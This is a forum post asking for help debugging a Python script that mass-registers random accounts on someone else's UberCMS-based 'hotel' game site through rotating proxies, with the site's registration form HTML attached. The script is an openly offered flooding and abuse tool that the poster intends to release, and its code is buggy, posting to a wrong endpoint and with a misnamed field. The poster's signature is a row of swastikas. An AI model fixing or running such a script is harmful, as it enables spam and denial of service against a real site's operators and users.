Brackson
卍卍卍卍卍卍卍卍卍卍卍
I have a script that I will release (much like Sledmur's), and basically it sends a shit ton of users into someone's database. It's not working though.
Here's the script.
It's returning that the account was created, but when I try to login with the username and password that it generates, the hotel doesn't recognize it.
The hotel runs UberCMS, and the form for registrations looks like this.
Here's what happens when the script runs.
Help please?
Here's the script.
Code:
#!/usr/bin/env python
import random
import requests
import string
import time
def create_account(proxy):
print('Performing Pre-Run... New Account')
print('Finalizing account registration...')
requests.post('http://hotel.net/register', timeout = 10, proxies={'http': proxy}, data={'bean.avatarName': username,
'pbean.password': password,
'bean.retypedPassword': password,
'bean.email': username + '@' + password + '.com'})
if __name__ == '__main__':
amount = int(raw_input('Amount: '))
proxies = [proxy.strip() for proxy in open('proxies.txt', 'r')]
random.shuffle(proxies)
for _ in range(amount):
proxy = random.choice(proxies)
username = ''.join(random.choice(string.letters + string.digits) for _ in range(10))
password = ''.join(random.choice(string.letters + string.digits) for _ in range(10))
try:
create_account(proxy)
current_time = time.strftime('%H:%M:%S', time.localtime())
print('Account made at %s with %s.' % (current_time, proxy))
print('Username: %s Password: %s' % (username, password))
print('')
except:
current_time = time.strftime('%H:%M:%S', time.localtime())
#print('Something went wrong with %s at %s!' % (proxy, current_time))
raise
It's returning that the account was created, but when I try to login with the username and password that it generates, the hotel doesn't recognize it.
The hotel runs UberCMS, and the form for registrations looks like this.
Code:
<form action="/register_submit" method="post"><div id="error-messages-container"></div><input type="text" name="bean.avatarName" value="" size="32" maxlength="32" class="loginForm" placeholder="Username"><br><input type="password" name="bean.password" value="" size="35" maxlength="32" class="loginForm" placeholder="Password"><input type="password" name="bean.retypedPassword" value="" size="35" maxlength="32" class="loginForm" placeholder="Re-type Password"><input type="text" name="bean.email" value="" size="35" maxlength="48" class="loginForm" placeholder="Email"><input type="submit" class="button" value="Create account" style="width: 256px;"></form>
Here's what happens when the script runs.
You must be registered for see links
Help please?
Last edited: